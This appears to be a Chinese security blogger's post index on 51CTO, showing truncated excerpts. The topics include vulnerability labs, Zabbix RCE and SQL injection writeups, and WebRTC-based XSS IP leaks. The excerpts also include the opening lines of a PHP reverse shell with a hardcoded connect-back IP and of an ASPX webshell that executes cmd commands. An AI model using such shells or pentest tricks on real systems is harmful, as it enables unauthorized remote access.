51CTO首页
内容精选
博客
学堂
精培
企业培训
CTO训练营
智能汽车
开源基础软件社区
WOT全球技术创新大会
公众号矩阵
移动端
免费课程 课程排行 直播课 软考学堂
精品班 厂商认证 IT技术 2023年软考 PMP项目管理
在线学习 企业服务
CTO训练营 技术经理研习营 LeaTech峰会
文章 资源 问答 开源课堂 专栏 直播
51CTO
开源基础软件社区
51CTO技术栈
51CTO官微
51CTO学堂
51CTO博客
CTO训练营
开源基础软件社区订阅号
51CTO学堂APP
51CTO学堂企业版APP
开源基础软件社区视频号

原创内容doc文档备份到github

 https://github.com/sssssanr/sanr-paper

github
置顶 原创 2015-12-16 20:06:09 1300 阅读

漏洞演练平台

http://www.mmeit.be/bWAPP/https://github.com/710leo/ZVulDrillhttp://www.dvwa.co.uk/http://sourceforge.net/projects/dvwa-wooyun/https://github.com/Audi-1/sqli-labs

漏洞演练
置顶 原创 2015-09-06 10:21:44 1642 阅读

Web漏洞检测及修复方案

1. 注入漏洞1.1 SQL注入漏洞1.2 XSS漏洞1.3 命令注入漏洞1.4 HTTP响应头注入漏洞1.5 跳转漏洞1.6 XML注入漏洞2. 信息泄漏漏洞2.1 PHPInfo()信息泄漏漏洞2.2 测试页面泄漏在外网漏洞2.3 备份文件泄漏在外网漏洞2.4 版本管理工具文件信息泄漏漏洞2.5 HTTP认证泄漏漏洞2.6 管理后台泄漏漏洞2.7 泄漏员工电子邮箱漏洞以及分机号码2.8 错误详

安全性
置顶 原创 2015-07-22 11:35:10 3262 阅读 2收藏

国内网站监控分析网站

360网站服务监控http://jk.cloud.360.cn/阿里云监控http://www.aliyun.com/product/jiankong/DNSPod监控https://www.dnspod.cn/百度云观测http://ce.baidu.com/监控宝http://www.jiankongbao.com/小蜜蜂网站检测http://www.webxmf.com/我的E站http:/

百度
监控
网站
检测
阿里云
置顶 原创 2015-03-04 21:24:14 2035 阅读

dns数据

https://scans.io/study/sonar.fdns

dns数据
置顶 原创 2015-07-21 17:10:05 1114 阅读

我的友情链接

jzking121' blog老徐的私房菜老徐的私房菜老徐的私房菜老徐的私房菜王伟游造技术博客吟—技术交流Free Linux, Share Linux

原创 2017-11-22 23:11:53 1102 阅读

PSEXEC执行命令原理分析

ipc$连接 释放Psexesvc.exeOpenSCManager打开受害者机器上服务控制管理器的句柄CreateService创建服务获取服务句柄OpenService使用StartService启动服务

受害者
安全技术
原创 2016-11-15 12:49:44 5142 阅读

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

漏洞来源: https://www.exploit-db.com/exploits/39937/攻击成本：高危害程度：低(此洞需要密码)利用条件: 需要高权限用户登录影响范围：2.2 < 3.0.3tips:  此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。  此exp并不是很完美,因为不

Linux
Software
成本
原创 2016-08-18 14:55:21 3001 阅读 1收藏

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60攻击成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用:   爆密码  &

zabbix
注入漏洞
原创 精选 2016-08-18 14:25:52 1743 阅读 1收藏

js获取浏览器类型

<script type="text/javascript">   function getBrowserInfo(){ var OsObject=navigator.userAgent;  // 包含「Opera」文字列   if(OsObject.indexOf("Opera")&nbs

浏览器
种类
原创 2016-04-20 10:34:16 1136 阅读

利用微信企业号进行告警

# -*- coding: UTF-8 -*- # __author__  = sanr # __email__   = 5754190@qq.cn' # __version__ = 0.1 import requests imp

content
version
please
原创 2016-04-14 18:48:01 1135 阅读 1收藏

pip自动生成requirements.txt依赖关系清单

pip freeze > requirements.txt

安全技术
pip
原创 2016-03-14 11:49:52 4645 阅读

内网主机存活扫描[Android]

NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

网络
主机
Network
Android
制造商
转载 精选 2016-03-07 10:25:00 1566 阅读 1收藏

pip被墙，修改国内源方法

找到C:\Users\Administrator新建pip文件夹，新建pip.ini文件 填写以下内容[global]index-url = http://pypi.douban.com/simple[install]trusted-host = pypi.douban.com

文件夹
新建
Users
原创 2016-02-26 12:53:15 3136 阅读 1评论

xss-利用webrtc获取内网IP

xss.js function getIPs(callback){                 var ip_dups = {};      &

xss
webrtc
获取内网
原创 2016-01-13 11:12:08 6687 阅读

恶意软件流量检测系统

maltrail是一个通过流量监测出恶意软件的程序，通过公开的含有恶意软件的黑名单，通过对用户的网络访问请求进行分析，判断其使用访问了恶意软件的服务器地址，下载链接，可疑域名，可疑文件名来判断是否遭受了恶意软件的感染。https://github.com/stamparm/maltrail

软件
服务器
黑名单
流量检测
下载链接
转载 精选 2016-01-12 23:18:55 2606 阅读

Cuckoo恶意软件自动化分析系统

Cuckoo是一款开源的自动化恶意软件分析系统，目前主要用于分析windows平台下的恶意软件，但其框架同时支持Linux和Mac OS。cuckoo能够自动化获取如下信息：1.能够跟踪恶意软件进程及其产生的所有进程的win32 API调用记录；2.能够检测恶意软件的文件创建、删除和下载；3.能够获取恶意软件进程的内存镜像；4.能够获取系统全部内存镜像，方便其他工具进行进一步分析；5.能够以pac

windows
Office
python
压缩文件
执行文件
转载 精选 2016-01-12 23:14:46 1646 阅读

php-reverse-shell

window、linux通用 <?php  error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

linux
window
通用
转载 精选 2016-01-10 15:51:33 2068 阅读 1点赞 1评论

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="c#" runat="server"&

代码
false
提取执行
原创 2016-01-06 10:46:18 10000+阅读

安全日志分析

离线分析   缺点:特征匹配 1.误报大       logswan     360星图     elk时时分析       splunk      

日至分析
原创 2015-12-17 11:02:38 1369 阅读 1点赞 1评论

员工安全意识导致入侵

攻击手法:在我们做渗透的过程中，往往通过员工能搞定很多的企业，拿到核心的数据库，最常见的如以下几种情况。    1.密码一条龙        由于很多的互联网数据库被黑客入侵，在互联网或地下圈子流传，通过信息查询到某个公司员工邮箱，电话，姓名等可以从社工库查询到已使用的密码，而所有网站及公司系统使用的账户都同属于一个密

互联网
个人电脑
百度文库
一条龙
原创 精选 2015-12-16 20:54:34 1140 阅读

我劫持你的dns

   这篇文章把Dns分为两种，一种是主机或嵌入式设备dns，一种是网站域名dns，来讲述dns沦陷之后带来的危害。一：路由器dns劫持   你本地的网络连接的dns是通过路由器获取的，假如有一天你家里的路由被黑客入侵了，入侵者修改了你家里路由器的dns,那么他可以对你访问记录非常清楚，如系在文件，流量记录。既然解析都通过dns，我们完全可以自建dns，来进

路由器
嵌入式
网络连接
chrome
原创 推荐 2015-12-16 20:37:02 10000+阅读 4点赞 2收藏 1评论

仿Fiddler的Chrome插件

类似live http  优点:界面比较美观https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en

Chrome
原创 2015-12-14 13:51:04 3067 阅读

win命令行打包文件(系统自带 渗透必备)

压缩一个文件： makecab c:\ls.exe ls.zip 解压一个文件： expand c:\ls.zip c:\ls.exe-------------------------------------------------------------------------------------------压缩一个文件： makecab PELoad

第三方
原创 2015-12-04 10:15:43 7154 阅读

win命令行base64编码(系统自带 内网渗透必备哟)

certutil对demo.7z进行base64编码将编码的程序还原

程序
原创 2015-10-27 16:05:43 10000+阅读 1点赞 1收藏

http_banner获取2.0

更新如下端口可自定义 默认80线程可自定义 默认10使用了队列存消息#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     =

email
return
import
version
原创 2015-10-10 21:11:11 2420 阅读

免费开源的堡垒机

JumpServer  http://www.jumpserver.org/CrazyEye   https://github.com/triaquae/CrazyEye

堡垒机
原创 2015-10-10 09:42:01 4338 阅读 1点赞

http_banner获取v0.3

更新:1.使用optparse来获取命令行参数#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http

email
return
import
version
原创 2015-10-09 17:54:06 1326 阅读

http_banner获取v0.2

#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http://0x007.blog.51cto.com

email
return
import
version
原创 2015-10-05 09:59:18 8499 阅读

C段http_banner获取

#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http://0x007.blog.51cto.com

email
智能
return
import
version
原创 2015-09-30 11:31:24 1928 阅读
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

Copyright © 2005-2023 51CTO.COM 版权所有 京ICP证060544号

关于我们
官方博客 全部文章 热门标签 班级博客
了解我们 在线客服 网站地图 意见反馈
友情链接
开源基础软件社区 51CTO学堂
51CTO 汽车开发者社区